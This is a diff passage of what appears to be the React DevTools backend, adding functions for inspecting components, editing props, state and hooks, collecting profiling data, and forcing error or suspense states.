+  }
+
+  // Track the intersection of currently inspected paths,
+  // so that we can send their data along if the element is re-rendered.
+  function mergeInspectedPaths(path: Array<string | number>) {
+    let current = currentlyInspectedPaths;
+    path.forEach(key => {
+      if (!current[key]) {
+        current[key] = {};
+      }
+      current = current[key];
+    });
+  }
+
+  function createIsPathAllowed(
+    key: string | null,
+    secondaryCategory: 'suspendedBy' | 'hooks' | null,
+  ) {
+    // This function helps prevent previously-inspected paths from being dehydrated in updates.
+    // This is important to avoid a bad user experience where expanded toggles collapse on update.
+    return function isPathAllowed(path: Array<string | number>): boolean {
+      switch (secondaryCategory) {
+        case 'hooks':
+          if (path.length === 1) {
+            // Never dehydrate the "hooks" object at the top levels.
+            return true;
+          }
+
+          if (
+            path[path.length - 2] === 'hookSource' &&
+            path[path.length - 1] === 'fileName'
+          ) {
+            // It's important to preserve the full file name (URL) for hook sources
+            // in case the user has enabled the named hooks feature.
+            // Otherwise the frontend may end up with a partial URL which it can't load.
+            return true;
+          }
+
+          if (
+            path[path.length - 1] === 'subHooks' ||
+            path[path.length - 2] === 'subHooks'
+          ) {
+            // Dehydrating the 'subHooks' property makes the HooksTree UI a lot more complicated,
+            // so it's easiest for now if we just don't break on this boundary.
+            // We can always dehydrate a level deeper (in the value object).
+            return true;
+          }
+          break;
+        case 'suspendedBy':
+          if (path.length < 5) {
+            // Never dehydrate anything above suspendedBy[index].awaited.value
+            // Those are part of the internal meta data. We only dehydrate inside the Promise.
+            return true;
+          }
+          break;
+        default:
+          break;
+      }
+
+      let current =
+        key === null ? currentlyInspectedPaths : currentlyInspectedPaths[key];
+      if (!current) {
+        return false;
+      }
+      for (let i = 0; i < path.length; i++) {
+        current = current[path[i]];
+        if (!current) {
+          return false;
+        }
+      }
+      return true;
+    };
+  }
+
+  function updateSelectedElement(inspectedElement: InspectedElement): void {
+    const {hooks, id, props} = inspectedElement;
+
+    const devtoolsInstance = idToDevToolsInstanceMap.get(id);
+    if (devtoolsInstance === undefined) {
+      console.warn(`Could not find DevToolsInstance with id "${id}"`);
+      return;
+    }
+    if (devtoolsInstance.kind !== FIBER_INSTANCE) {
+      // TODO: Handle VirtualInstance.
+      return;
+    }
+
+    const fiber = devtoolsInstance.data;
+    const {elementType, stateNode, tag, type} = fiber;
+
+    switch (tag) {
+      case ClassComponent:
+      case IncompleteClassComponent:
+      case IndeterminateComponent:
+        global.$r = stateNode;
+        break;
+      case IncompleteFunctionComponent:
+      case FunctionComponent:
+        global.$r = {
+          hooks,
+          props,
+          type,
+        };
+        break;
+      case ForwardRef:
+        global.$r = {
+          hooks,
+          props,
+          type: type.render,
+        };
+        break;
+      case MemoComponent:
+      case SimpleMemoComponent:
+        global.$r = {
+          hooks,
+          props,
+          type:
+            elementType != null && elementType.type != null
+              ? elementType.type
+              : type,
+        };
+        break;
+      default:
+        global.$r = null;
+        break;
+    }
+  }
+
+  function storeAsGlobal(
+    id: number,
+    path: Array<string | number>,
+    count: number,
+  ): void {
+    if (isMostRecentlyInspectedElement(id)) {
+      const value = getInObject(
+        ((mostRecentlyInspectedElement: any): InspectedElement),
+        path,
+      );
+      const key = `$reactTemp${count}`;
+
+      window[key] = value;
+
+      console.log(key);
+      console.log(value);
+    }
+  }
+
+  function getSerializedElementValueByPath(
+    id: number,
+    path: Array<string | number>,
+  ): ?string {
+    if (isMostRecentlyInspectedElement(id)) {
+      const valueToCopy = getInObject(
+        ((mostRecentlyInspectedElement: any): InspectedElement),
+        path,
+      );
+
+      return serializeToString(valueToCopy);
+    }
+  }
+
+  function inspectElement(
+    requestID: number,
+    id: number,
+    path: Array<string | number> | null,
+    forceFullData: boolean,
+  ): InspectedElementPayload {
+    if (path !== null) {
+      mergeInspectedPaths(path);
+    }
+
+    if (isMostRecentlyInspectedElement(id) && !forceFullData) {
+      if (!hasElementUpdatedSinceLastInspected) {
+        if (path !== null) {
+          let secondaryCategory: 'suspendedBy' | 'hooks' | null = null;
+          if (path[0] === 'hooks' || path[0] === 'suspendedBy') {
+            secondaryCategory = path[0];
+          }
+
+          // If this element has not been updated since it was last inspected,
+          // we can just return the subset of data in the newly-inspected path.
+          return {
+            id,
+            responseID: requestID,
+            type: 'hydrated-path',
+            path,
+            value: cleanForBridge(
+              getInObject(
+                ((mostRecentlyInspectedElement: any): InspectedElement),
+                path,
+              ),
+              createIsPathAllowed(null, secondaryCategory),
+              path,
+            ),
+          };
+        } else {
+          // If this element has not been updated since it was last inspected, we don't need to return it.
+          // Instead we can just return the ID to indicate that it has not changed.
+          return {
+            id,
+            responseID: requestID,
+            type: 'no-change',
+          };
+        }
+      }
+    } else {
+      currentlyInspectedPaths = {};
+    }
+
+    hasElementUpdatedSinceLastInspected = false;
+
+    try {
+      mostRecentlyInspectedElement = inspectElementRaw(id);
+    } catch (error) {
+      // the error name is synced with ReactDebugHooks
+      if (error.name === 'ReactDebugToolsRenderError') {
+        let message = 'Error rendering inspected element.';
+        let stack;
+        // Log error & cause for user to debug
+        console.error(message + '\n\n', error);
+        if (error.cause != null) {
+          const componentName = getDisplayNameForElementID(id);
+          console.error(
+            'React DevTools encountered an error while trying to inspect hooks. ' +
+              'This is most likely caused by an error in current inspected component' +
+              (componentName != null ? `: "${componentName}".` : '.') +
+              '\nThe error thrown in the component is: \n\n',
+            error.cause,
+          );
+          if (error.cause instanceof Error) {
+            message = error.cause.message || message;
+            stack = error.cause.stack;
+          }
+        }
+
+        return {
+          type: 'error',
+          errorType: 'user',
+          id,
+          responseID: requestID,
+          message,
+          stack,
+        };
+      }
+
+      // the error name is synced with ReactDebugHooks
+      if (error.name === 'ReactDebugToolsUnsupportedHookError') {
+        return {
+          type: 'error',
+          errorType: 'unknown-hook',
+          id,
+          responseID: requestID,
+          message:
+            'Unsupported hook in the react-debug-tools package: ' +
+            error.message,
+        };
+      }
+
+      // Log Uncaught Error
+      console.error('Error inspecting element.\n\n', error);
+
+      return {
+        type: 'error',
+        errorType: 'uncaught',
+        id,
+        responseID: requestID,
+        message: error.message,
+        stack: error.stack,
+      };
+    }
+
+    if (mostRecentlyInspectedElement === null) {
+      return {
+        id,
+        responseID: requestID,
+        type: 'not-found',
+      };
+    }
+    const inspectedElement = mostRecentlyInspectedElement;
+
+    // Any time an inspected element has an update,
+    // we should update the selected $r value as wel.
+    // Do this before dehydration (cleanForBridge).
+    updateSelectedElement(inspectedElement);
+
+    // Clone before cleaning so that we preserve the full data.
+    // This will enable us to send patches without re-inspecting if hydrated paths are requested.
+    // (Reducing how often we shallow-render is a better DX for function components that use hooks.)
+    const cleanedInspectedElement = {...inspectedElement};
+    // $FlowFixMe[prop-missing] found when upgrading Flow
+    cleanedInspectedElement.context = cleanForBridge(
+      inspectedElement.context,
+      createIsPathAllowed('context', null),
+    );
+    // $FlowFixMe[prop-missing] found when upgrading Flow
+    cleanedInspectedElement.hooks = cleanForBridge(
+      inspectedElement.hooks,
+      createIsPathAllowed('hooks', 'hooks'),
+    );
+    // $FlowFixMe[prop-missing] found when upgrading Flow
+    cleanedInspectedElement.props = cleanForBridge(
+      inspectedElement.props,
+      createIsPathAllowed('props', null),
+    );
+    // $FlowFixMe[prop-missing] found when upgrading Flow
+    cleanedInspectedElement.state = cleanForBridge(
+      inspectedElement.state,
+      createIsPathAllowed('state', null),
+    );
+    // $FlowFixMe[prop-missing] found when upgrading Flow
+    cleanedInspectedElement.suspendedBy = cleanForBridge(
+      inspectedElement.suspendedBy,
+      createIsPathAllowed('suspendedBy', 'suspendedBy'),
+    );
+
+    return {
+      id,
+      responseID: requestID,
+      type: 'full-data',
+      // $FlowFixMe[prop-missing] found when upgrading Flow
+      value: cleanedInspectedElement,
+    };
+  }
+
+  function inspectRootsRaw(arbitraryRootID: number): InspectedElement | null {
+    const roots = hook.getFiberRoots(rendererID);
+    if (roots.size === 0) {
+      return null;
+    }
+
+    const inspectedRoots: InspectedElement = {
+      // invariants
+      id: arbitraryRootID,
+      type: ElementTypeRoot,
+      // Properties we merge
+      isErrored: false,
+      errors: [],
+      warnings: [],
+      suspendedBy: [],
+      suspendedByRange: null,
+      // TODO: How to merge these?
+      unknownSuspenders: UNKNOWN_SUSPENDERS_NONE,
+      // Properties where merging doesn't make sense so we ignore them entirely in the UI
+      rootType: null,
+      plugins: {stylex: null},
+      nativeTag: null,
+      env: null,
+      source: null,
+      stack: null,
+      rendererPackageName: null,
+      rendererVersion: null,
+      // These don't make sense for a Root. They're just bottom values.
+      key: null,
+      canEditFunctionProps: false,
+      canEditHooks: false,
+      canEditFunctionPropsDeletePaths: false,
+      canEditFunctionPropsRenamePaths: false,
+      canEditHooksAndDeletePaths: false,
+      canEditHooksAndRenamePaths: false,
+      canToggleError: false,
+      canToggleSuspense: false,
+      isSuspended: false,
+      hasLegacyContext: false,
+      context: null,
+      hooks: null,
+      props: null,
+      state: null,
+      owners: null,
+    };
+
+    let minSuspendedByRange = Infinity;
+    let maxSuspendedByRange = -Infinity;
+    roots.forEach(root => {
+      const rootInstance = rootToFiberInstanceMap.get(root);
+      if (rootInstance === undefined) {
+        throw new Error(
+          'Expected a root instance to exist for this Fiber root',
+        );
+      }
+      const inspectedRoot = inspectFiberInstanceRaw(rootInstance);
+      if (inspectedRoot === null) {
+        return;
+      }
+
+      if (inspectedRoot.isErrored) {
+        inspectedRoots.isErrored = true;
+      }
+      for (let i = 0; i < inspectedRoot.errors.length; i++) {
+        inspectedRoots.errors.push(inspectedRoot.errors[i]);
+      }
+      for (let i = 0; i < inspectedRoot.warnings.length; i++) {
+        inspectedRoots.warnings.push(inspectedRoot.warnings[i]);
+      }
+      for (let i = 0; i < inspectedRoot.suspendedBy.length; i++) {
+        inspectedRoots.suspendedBy.push(inspectedRoot.suspendedBy[i]);
+      }
+      const suspendedByRange = inspectedRoot.suspendedByRange;
+      if (suspendedByRange !== null) {
+        if (suspendedByRange[0] < minSuspendedByRange) {
+          minSuspendedByRange = suspendedByRange[0];
+        }
+        if (suspendedByRange[1] > maxSuspendedByRange) {
+          maxSuspendedByRange = suspendedByRange[1];
+        }
+      }
+    });
+
+    if (minSuspendedByRange !== Infinity || maxSuspendedByRange !== -Infinity) {
+      inspectedRoots.suspendedByRange = [
+        minSuspendedByRange,
+        maxSuspendedByRange,
+      ];
+    }
+
+    return inspectedRoots;
+  }
+
+  function logElementToConsole(id: number) {
+    const result = isMostRecentlyInspectedElementCurrent(id)
+      ? mostRecentlyInspectedElement
+      : inspectElementRaw(id);
+    if (result === null) {
+      console.warn(`Could not find DevToolsInstance with id "${id}"`);
+      return;
+    }
+
+    const displayName = getDisplayNameForElementID(id);
+
+    const supportsGroup = typeof console.groupCollapsed === 'function';
+    if (supportsGroup) {
+      console.groupCollapsed(
+        `[Click to expand] %c<${displayName || 'Component'} />`,
+        // --dom-tag-name-color is the CSS variable Chrome styles HTML elements with in the console.
+        'color: var(--dom-tag-name-color); font-weight: normal;',
+      );
+    }
+    if (result.props !== null) {
+      console.log('Props:', result.props);
+    }
+    if (result.state !== null) {
+      console.log('State:', result.state);
+    }
+    if (result.hooks !== null) {
+      console.log('Hooks:', result.hooks);
+    }
+    const hostInstances = findHostInstancesForElementID(id);
+    if (hostInstances !== null) {
+      console.log('Nodes:', hostInstances);
+    }
+    if (window.chrome || /firefox/i.test(navigator.userAgent)) {
+      console.log(
+        'Right-click any value to save it as a global variable for further inspection.',
+      );
+    }
+    if (supportsGroup) {
+      console.groupEnd();
+    }
+  }
+
+  function deletePath(
+    type: 'context' | 'hooks' | 'props' | 'state',
+    id: number,
+    hookID: ?number,
+    path: Array<string | number>,
+  ): void {
+    const devtoolsInstance = idToDevToolsInstanceMap.get(id);
+    if (devtoolsInstance === undefined) {
+      console.warn(`Could not find DevToolsInstance with id "${id}"`);
+      return;
+    }
+    if (devtoolsInstance.kind !== FIBER_INSTANCE) {
+      // TODO: Handle VirtualInstance.
+      return;
+    }
+    const fiber = devtoolsInstance.data;
+    if (fiber !== null) {
+      const instance = fiber.stateNode;
+
+      switch (type) {
+        case 'context':
+          // To simplify hydration and display of primitive context values (e.g. number, string)
+          // the inspectElement() method wraps context in a {value: ...} object.
+          // We need to remove the first part of the path (the "value") before continuing.
+          path = path.slice(1);
+
+          switch (fiber.tag) {
+            case ClassComponent:
+              if (path.length === 0) {
+                // Simple context value (noop)
+              } else {
+                deletePathInObject(instance.context, path);
+              }
+              instance.forceUpdate();
+              break;
+            case FunctionComponent:
+              // Function components using legacy context are not editable
+              // because there's no instance on which to create a cloned, mutated context.
+              break;
+          }
+          break;
+        case 'hooks':
+          if (typeof overrideHookStateDeletePath === 'function') {
+            overrideHookStateDeletePath(fiber, ((hookID: any): number), path);
+          }
+          break;
+        case 'props':
+          if (instance === null) {
+            if (typeof overridePropsDeletePath === 'function') {
+              overridePropsDeletePath(fiber, path);
+            }
+          } else {
+            fiber.pendingProps = copyWithDelete(instance.props, path);
+            instance.forceUpdate();
+          }
+          break;
+        case 'state':
+          switch (fiber.tag) {
+            case ClassComponent:
+            case IncompleteClassComponent:
+              deletePathInObject(instance.state, path);
+              instance.forceUpdate();
+              break;
+          }
+          break;
+      }
+    }
+  }
+
+  function renamePath(
+    type: 'context' | 'hooks' | 'props' | 'state',
+    id: number,
+    hookID: ?number,
+    oldPath: Array<string | number>,
+    newPath: Array<string | number>,
+  ): void {
+    const devtoolsInstance = idToDevToolsInstanceMap.get(id);
+    if (devtoolsInstance === undefined) {
+      console.warn(`Could not find DevToolsInstance with id "${id}"`);
+      return;
+    }
+    if (devtoolsInstance.kind !== FIBER_INSTANCE) {
+      // TODO: Handle VirtualInstance.
+      return;
+    }
+    const fiber = devtoolsInstance.data;
+    if (fiber !== null) {
+      const instance = fiber.stateNode;
+
+      switch (type) {
+        case 'context':
+          // To simplify hydration and display of primitive context values (e.g. number, string)
+          // the inspectElement() method wraps context in a {value: ...} object.
+          // We need to remove the first part of the path (the "value") before continuing.
+          oldPath = oldPath.slice(1);
+          newPath = newPath.slice(1);
+
+          switch (fiber.tag) {
+            case ClassComponent:
+              if (oldPath.length === 0) {
+                // Simple context value (noop)
+              } else {
+                renamePathInObject(instance.context, oldPath, newPath);
+              }
+              instance.forceUpdate();
+              break;
+            case FunctionComponent:
+              // Function components using legacy context are not editable
+              // because there's no instance on which to create a cloned, mutated context.
+              break;
+          }
+          break;
+        case 'hooks':
+          if (typeof overrideHookStateRenamePath === 'function') {
+            overrideHookStateRenamePath(
+              fiber,
+              ((hookID: any): number),
+              oldPath,
+              newPath,
+            );
+          }
+          break;
+        case 'props':
+          switch (fiber.tag) {
+            case ClassComponent:
+              fiber.pendingProps = copyWithRename(
+                instance.props,
+                oldPath,
+                newPath,
+              );
+              instance.forceUpdate();
+              break;
+            default:
+              if (typeof overridePropsRenamePath === 'function') {
+                overridePropsRenamePath(fiber, oldPath, newPath);
+              }
+              break;
+          }
+          break;
+        case 'state':
+          switch (fiber.tag) {
+            case ClassComponent:
+            case IncompleteClassComponent:
+              renamePathInObject(instance.state, oldPath, newPath);
+              instance.forceUpdate();
+              break;
+          }
+          break;
+      }
+    }
+  }
+
+  function overrideValueAtPath(
+    type: 'context' | 'hooks' | 'props' | 'state',
+    id: number,
+    hookID: ?number,
+    path: Array<string | number>,
+    value: any,
+  ): void {
+    const devtoolsInstance = idToDevToolsInstanceMap.get(id);
+    if (devtoolsInstance === undefined) {
+      console.warn(`Could not find DevToolsInstance with id "${id}"`);
+      return;
+    }
+    if (devtoolsInstance.kind !== FIBER_INSTANCE) {
+      // TODO: Handle VirtualInstance.
+      return;
+    }
+    const fiber = devtoolsInstance.data;
+    if (fiber !== null) {
+      const instance = fiber.stateNode;
+
+      switch (type) {
+        case 'context':
+          // To simplify hydration and display of primitive context values (e.g. number, string)
+          // the inspectElement() method wraps context in a {value: ...} object.
+          // We need to remove the first part of the path (the "value") before continuing.
+          path = path.slice(1);
+
+          switch (fiber.tag) {
+            case ClassComponent:
+              if (path.length === 0) {
+                // Simple context value
+                instance.context = value;
+              } else {
+                setInObject(instance.context, path, value);
+              }
+              instance.forceUpdate();
+              break;
+            case FunctionComponent:
+              // Function components using legacy context are not editable
+              // because there's no instance on which to create a cloned, mutated context.
+              break;
+          }
+          break;
+        case 'hooks':
+          if (typeof overrideHookState === 'function') {
+            overrideHookState(fiber, ((hookID: any): number), path, value);
+          }
+          break;
+        case 'props':
+          switch (fiber.tag) {
+            case ClassComponent:
+              fiber.pendingProps = copyWithSet(instance.props, path, value);
+              instance.forceUpdate();
+              break;
+            default:
+              if (typeof overrideProps === 'function') {
+                overrideProps(fiber, path, value);
+              }
+              break;
+          }
+          break;
+        case 'state':
+          switch (fiber.tag) {
+            case ClassComponent:
+            case IncompleteClassComponent:
+              setInObject(instance.state, path, value);
+              instance.forceUpdate();
+              break;
+          }
+          break;
+      }
+    }
+  }
+
+  type CommitProfilingData = {
+    changeDescriptions: Map<number, ChangeDescription> | null,
+    commitTime: number,
+    durations: Array<number>,
+    effectDuration: number | null,
+    maxActualDuration: number,
+    passiveEffectDuration: number | null,
+    priorityLevel: string | null,
+    updaters: Array<SerializedElement> | null,
+  };
+
+  type CommitProfilingMetadataMap = Map<number, Array<CommitProfilingData>>;
+  type DisplayNamesByRootID = Map<number, string>;
+
+  let currentCommitProfilingMetadata: CommitProfilingData | null = null;
+  let displayNamesByRootID: DisplayNamesByRootID | null = null;
+  let initialTreeBaseDurationsMap: Map<number, Array<[number, number]>> | null =
+    null;
+  let isProfiling: boolean = false;
+  let profilingStartTime: number = 0;
+  let recordChangeDescriptions: boolean = false;
+  let recordTimeline: boolean = false;
+  let rootToCommitProfilingMetadataMap: CommitProfilingMetadataMap | null =
+    null;
+
+  function getProfilingData(): ProfilingDataBackend {
+    const dataForRoots: Array<ProfilingDataForRootBackend> = [];
+
+    if (rootToCommitProfilingMetadataMap === null) {
+      throw Error(
+        'getProfilingData() called before any profiling data was recorded',
+      );
+    }
+
+    rootToCommitProfilingMetadataMap.forEach(
+      (commitProfilingMetadata, rootID) => {
+        const commitData: Array<CommitDataBackend> = [];
+
+        const displayName =
+          (displayNamesByRootID !== null && displayNamesByRootID.get(rootID)) ||
+          'Unknown';
+
+        const initialTreeBaseDurations: Array<[number, number]> =
+          (initialTreeBaseDurationsMap !== null &&
+            initialTreeBaseDurationsMap.get(rootID)) ||
+          [];
+
+        commitProfilingMetadata.forEach((commitProfilingData, commitIndex) => {
+          const {
+            changeDescriptions,
+            durations,
+            effectDuration,
+            maxActualDuration,
+            passiveEffectDuration,
+            priorityLevel,
+            commitTime,
+            updaters,
+          } = commitProfilingData;
+
+          const fiberActualDurations: Array<[number, number]> = [];
+          const fiberSelfDurations: Array<[number, number]> = [];
+          for (let i = 0; i < durations.length; i += 3) {
+            const fiberID = durations[i];
+            fiberActualDurations.push([
+              fiberID,
+              formatDurationToMicrosecondsGranularity(durations[i + 1]),
+            ]);
+            fiberSelfDurations.push([
+              fiberID,
+              formatDurationToMicrosecondsGranularity(durations[i + 2]),
+            ]);
+          }
+
+          commitData.push({
+            changeDescriptions:
+              changeDescriptions !== null
+                ? Array.from(changeDescriptions.entries())
+                : null,
+            duration:
+              formatDurationToMicrosecondsGranularity(maxActualDuration),
+            effectDuration:
+              effectDuration !== null
+                ? formatDurationToMicrosecondsGranularity(effectDuration)
+                : null,
+            fiberActualDurations,
+            fiberSelfDurations,
+            passiveEffectDuration:
+              passiveEffectDuration !== null
+                ? formatDurationToMicrosecondsGranularity(passiveEffectDuration)
+                : null,
+            priorityLevel,
+            timestamp: commitTime,
+            updaters,
+          });
+        });
+
+        dataForRoots.push({
+          commitData,
+          displayName,
+          initialTreeBaseDurations,
+          rootID,
+        });
+      },
+    );
+
+    let timelineData = null;
+    if (typeof getTimelineData === 'function') {
+      const currentTimelineData = getTimelineData();
+      if (currentTimelineData) {
+        const {
+          batchUIDToMeasuresMap,
+          internalModuleSourceToRanges,
+          laneToLabelMap,
+          laneToReactMeasureMap,
+          ...rest
+        } = currentTimelineData;
+
+        timelineData = {
+          ...rest,
+
+          // Most of the data is safe to parse as-is,
+          // but we need to convert the nested Arrays back to Maps.
+          // Most of the data is safe to serialize as-is,
+          // but we need to convert the Maps to nested Arrays.
+          batchUIDToMeasuresKeyValueArray: Array.from(
+            batchUIDToMeasuresMap.entries(),
+          ),
+          internalModuleSourceToRanges: Array.from(
+            internalModuleSourceToRanges.entries(),
+          ),
+          laneToLabelKeyValueArray: Array.from(laneToLabelMap.entries()),
+          laneToReactMeasureKeyValueArray: Array.from(
+            laneToReactMeasureMap.entries(),
+          ),
+        };
+      }
+    }
+
+    return {
+      dataForRoots,
+      rendererID,
+      timelineData,
+    };
+  }
+
+  function snapshotTreeBaseDurations(
+    instance: DevToolsInstance,
+    target: Array<[number, number]>,
+  ) {
+    // We don't need to convert milliseconds to microseconds in this case,
+    // because the profiling summary is JSON serialized.
+    if (instance.kind !== FILTERED_FIBER_INSTANCE) {
+      target.push([instance.id, instance.treeBaseDuration]);
+    }
+    for (
+      let child = instance.firstChild;
+      child !== null;
+      child = child.nextSibling
+    ) {
+      snapshotTreeBaseDurations(child, target);
+    }
+  }
+
+  function startProfiling(
+    shouldRecordChangeDescriptions: boolean,
+    shouldRecordTimeline: boolean,
+  ) {
+    if (isProfiling) {
+      return;
+    }
+
+    recordChangeDescriptions = shouldRecordChangeDescriptions;
+    recordTimeline = shouldRecordTimeline;
+
+    // Capture initial values as of the time profiling starts.
+    // It's important we snapshot both the durations and the id-to-root map,
+    // since either of these may change during the profiling session
+    // (e.g. when a fiber is re-rendered or when a fiber gets removed).
+    displayNamesByRootID = new Map();
+    initialTreeBaseDurationsMap = new Map();
+
+    hook.getFiberRoots(rendererID).forEach(root => {
+      const rootInstance = rootToFiberInstanceMap.get(root);
+      if (rootInstance === undefined) {
+        throw new Error(
+          'Expected the root instance to already exist when starting profiling',
+        );
+      }
+      const rootID = rootInstance.id;
+      ((displayNamesByRootID: any): DisplayNamesByRootID).set(
+        rootID,
+        getDisplayNameForRoot(root.current),
+      );
+      const initialTreeBaseDurations: Array<[number, number]> = [];
+      snapshotTreeBaseDurations(rootInstance, initialTreeBaseDurations);
+      (initialTreeBaseDurationsMap: any).set(rootID, initialTreeBaseDurations);
+    });
+
+    isProfiling = true;
+    profilingStartTime = getCurrentTime();
+    rootToCommitProfilingMetadataMap = new Map();
+
+    if (toggleProfilingStatus !== null) {
+      toggleProfilingStatus(true, recordTimeline);
+    }
+  }
+
+  function stopProfiling() {
+    isProfiling = false;
+    recordChangeDescriptions = false;
+
+    if (toggleProfilingStatus !== null) {
+      toggleProfilingStatus(false, recordTimeline);
+    }
+
+    recordTimeline = false;
+  }
+
+  // Automatically start profiling so that we don't miss timing info from initial "mount".
+  if (shouldStartProfilingNow) {
+    startProfiling(
+      profilingSettings.recordChangeDescriptions,
+      profilingSettings.recordTimeline,
+    );
+  }
+
+  function getNearestFiber(devtoolsInstance: DevToolsInstance): null | Fiber {
+    if (devtoolsInstance.kind === VIRTUAL_INSTANCE) {
+      let inst: DevToolsInstance = devtoolsInstance;
+      while (inst.kind === VIRTUAL_INSTANCE) {
+        // For virtual instances, we search deeper until we find a Fiber instance.
+        // Then we search upwards from that Fiber. That's because Virtual Instances
+        // will always have an Fiber child filtered or not. If we searched its parents
+        // we might skip through a filtered Error Boundary before we hit a FiberInstance.
+        if (inst.firstChild === null) {
+          return null;
+        }
+        inst = inst.firstChild;
+      }
+      return inst.data.return;
+    } else {
+      return devtoolsInstance.data;
+    }
+  }
+
+  // React will switch between these implementations depending on whether
+  // we have any manually suspended/errored-out Fibers or not.
+  function shouldErrorFiberAlwaysNull() {
+    return null;
+  }
+
+  // Map of Fiber and its force error status: true (error), false (toggled off)
+  const forceErrorForFibers = new Map<Fiber, boolean>();
+
+  function shouldErrorFiberAccordingToMap(fiber: any): boolean | null {
+    if (typeof setErrorHandler !== 'function') {
+      throw new Error(
+        'Expected overrideError() to not get called for earlier React versions.',
+      );
+    }
+
+    let status = forceErrorForFibers.get(fiber);
+    if (status === false) {
+      // TRICKY overrideError adds entries to this Map,
+      // so ideally it would be the method that clears them too,
+      // but that would break the functionality of the feature,
+      // since DevTools needs to tell React to act differently than it normally would
+      // (don't just re-render the failed boundary, but reset its errored state too).
+      // So we can only clear it after telling React to reset the state.
+      // Technically this is premature and we should schedule it for later,
+      // since the render could always fail without committing the updated error boundary,
+      // but since this is a DEV-only feature, the simplicity is worth the trade off.
+      forceErrorForFibers.delete(fiber);
+      if (forceErrorForFibers.size === 0) {
+        // Last override is gone. Switch React back to fast path.
+        setErrorHandler(shouldErrorFiberAlwaysNull);
+      }
+      return false;
+    }
+    if (status === undefined && fiber.alternate !== null) {
+      status = forceErrorForFibers.get(fiber.alternate);
+      if (status === false) {
+        forceErrorForFibers.delete(fiber.alternate);
+        if (forceErrorForFibers.size === 0) {
+          // Last override is gone. Switch React back to fast path.
+          setErrorHandler(shouldErrorFiberAlwaysNull);
+        }
+      }
+    }
+    if (status === undefined) {
+      return null;
+    }
+    return status;
+  }
+
+  function overrideError(id: number, forceError: boolean) {
+    if (
+      typeof setErrorHandler !== 'function' ||
+      typeof scheduleUpdate !== 'function'
+    ) {
+      throw new Error(
+        'Expected overrideError() to not get called for earlier React versions.',
+      );
+    }
+
+    const devtoolsInstance = idToDevToolsInstanceMap.get(id);
+    if (devtoolsInstance === undefined) {
+      return;
+    }
+    const nearestFiber = getNearestFiber(devtoolsInstance);
+    if (nearestFiber === null) {
+      return;
+    }
+    let fiber = nearestFiber;
+    while (!isErrorBoundary(ReactTypeOfWork, fiber)) {
+      if (fiber.return === null) {
+        return;
+      }
+      fiber = fiber.return;
+    }
+    forceErrorForFibers.set(fiber, forceError);
+    if (fiber.alternate !== null) {
+      // We only need one of the Fibers in the set.
+      forceErrorForFibers.delete(fiber.alternate);
+    }
+    if (forceErrorForFibers.size === 1) {
+      // First override is added. Switch React to slower path.
+      setErrorHandler(shouldErrorFiberAccordingToMap);
+    }
+    if (!forceError && typeof scheduleRetry === 'function') {
+      // If we're dismissing an error and the renderer supports it, use a Retry instead of Sync
+      // This would allow View Transitions to proceed as if the error was dismissed using a Transition.
+      scheduleRetry(fiber);
+    } else {
+      scheduleUpdate(fiber);
+    }
+  }
+
+  function shouldSuspendFiberAlwaysFalse() {
+    return false;
+  }
+
+  const forceFallbackForFibers = new Set<Fiber>();
+
+  function shouldSuspendFiberAccordingToSet(fiber: Fiber): boolean {
+    return (
+      forceFallbackForFibers.has(fiber) ||
+      (fiber.alternate !== null && forceFallbackForFibers.has(fiber.alternate))
+    );
+  }
+
+  function overrideSuspense(id: number, forceFallback: boolean) {
+    if (
+      typeof setSuspenseHandler !== 'function' ||
+      typeof scheduleUpdate !== 'function'
+    ) {
+      throw new Error(
+        'Expected overrideSuspense() to not get called for earlier React versions.',
+      );
+    }
+    const devtoolsInstance = idToDevToolsInstanceMap.get(id);
+    if (devtoolsInstance === undefined) {
+      return;
+    }
+    const nearestFiber = getNearestFiber(devtoolsInstance);
+    if (nearestFiber === null) {
+      return;
+    }
+    let fiber = nearestFiber;
+    while (fiber.tag !== SuspenseComponent) {
+      if (fiber.return === null) {
+        return;
+      }
+      fiber = fiber.return;
+    }
+
+    if (fiber.alternate !== null) {
+      // We only need one of the Fibers in the set.
+      forceFallbackForFibers.delete(fiber.alternate);
+    }
+    if (forceFallback) {
+      forceFallbackForFibers.add(fiber);
+      if (forceFallbackForFibers.size === 1) {
+        // First override is added. Switch React to slower path.
+        setSuspenseHandler(shouldSuspendFiberAccordingToSet);
+      }
+    } else {
+      forceFallbackForFibers.delete(fiber);
+      if (forceFallbackForFibers.size === 0) {
+        // Last override is gone. Switch React back to fast path.
+        setSuspenseHandler(shouldSuspendFiberAlwaysFalse);
+      }
+    }
+    if (!forceFallback && typeof scheduleRetry === 'function') {
+      // If we're unsuspending and the renderer supports it, use a Retry instead of Sync
+      // to allow for things like View Transitions to proceed the way they would for real.
+      scheduleRetry(fiber);
+    } else {
+      scheduleUpdate(fiber);
+    }
+  }
+
+  /**
+   * Resets the all other roots of this renderer.
+   * @param suspendedSet List of IDs of SuspenseComponent Fibers
+   */
+  function overrideSuspenseMilestone(suspendedSet: Array<FiberInstance['id']>) {
+    if (
+      typeof setSuspenseHandler !== 'function' ||
+      typeof scheduleUpdate !== 'function'
+    ) {
+      throw new Error(
+        'Expected overrideSuspenseMilestone() to not get called for earlier React versions.',
+      );
+    }
+
+    const unsuspendedSet: Set<Fiber> = new Set(forceFallbackForFibers);
+
+    let resuspended = false;
+    for (let i = 0; i < suspendedSet.length; ++i) {
+      const instance = idToDevToolsInstanceMap.get(suspendedSet[i]);
+      if (instance === undefined) {
+        console.warn(
+          `Could not suspend ID '${suspendedSet[i]}' since the instance can't be found.`,
+        );
+        continue;
+      }
+
+      if (instance.kind === FIBER_INSTANCE) {
+        const fiber = instance.data;
+        if (
+          forceFallbackForFibers.has(fiber) ||
+          (fiber.alternate !== null &&
+            forceFallbackForFibers.has(fiber.alternate))
+        ) {
+          // We're already forcing fallback for this fiber. Mark it as not unsuspended.
+          unsuspendedSet.delete(fiber);
+          if (fiber.alternate !== null) {
+            unsuspendedSet.delete(fiber.alternate);
+          }
+        } else {
+          forceFallbackForFibers.add(fiber);
+          // We could find a minimal set that covers all the Fibers in this suspended set.
+          // For now we rely on React's batching of updates.
+          scheduleUpdate(fiber);
+          resuspended = true;
+        }
+      } else {
+        console.warn(`Cannot not suspend ID '${suspendedSet[i]}'.`);
+      }
+    }
+
+    // Unsuspend any existing forced fallbacks if they're not in the new set.
+    unsuspendedSet.forEach(fiber => {
+      forceFallbackForFibers.delete(fiber);
+      if (!resuspended && typeof scheduleRetry === 'function') {
+        // If nothing new resuspended we don't need this to be sync. If we're only
